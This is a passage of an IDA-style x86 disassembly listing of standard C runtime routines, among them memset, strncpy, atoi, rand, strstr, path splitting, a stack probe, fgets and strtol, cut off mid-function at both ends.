		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 27205CBh
		nop
		push	eax
		nop
		call	near ptr 2710CAAh

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

